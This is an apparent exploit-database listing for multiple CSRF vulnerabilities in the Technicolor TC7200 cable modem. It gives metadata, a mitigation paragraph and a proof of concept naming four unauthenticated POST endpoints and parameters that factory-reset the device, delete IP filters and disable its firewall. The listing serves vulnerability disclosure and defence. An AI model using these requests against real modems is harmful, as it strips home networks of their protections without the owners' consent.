Technicolor TC7200 - Multiple CSRF Vulnerabilities

vendor:

TC7200

by:

Jeroen - IT Nerdbox

7,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: TC7200

Affected Version From: STD6.01.12

Affected Version To: STD6.01.12

Patch Exists: YES

Related CWE: CVE-2014-0621

CPE: h:technicolor:tc7200

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

Technicolor TC7200 – Multiple CSRF Vulnerabilities

Multiple CSRF vulnerabilities exist in the Technicolor TC7200 modem. An attacker can exploit these vulnerabilities to perform a factory reset, disable the advanced options, remove IP filters, and remove firewall settings. No authentication is required to exploit these vulnerabilities.

Mitigation:

Ensure that the Technicolor TC7200 modem is running the latest version of the firmware. Additionally, ensure that the modem is not exposed to the public internet.

Source

Exploit-DB raw data:

# Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
# 
# 
## Payload for Factory Reset:
#  
# POST     : http://<ip>/goform/system/factory
# Parameter: None
# 
## Payload to disable the advanced options:
# 
# POST     : http://<ip>/goform/advanced/options 
# Parameter: None
# 
## Payload to remove ip-filters:
# 
# POST     : http://<ip>//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
# 
## Payload to remove firewall settings 
#  
# POST     : http://<ip>/goform/advanced/firewall
# Parameter: cbFirewall = 1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/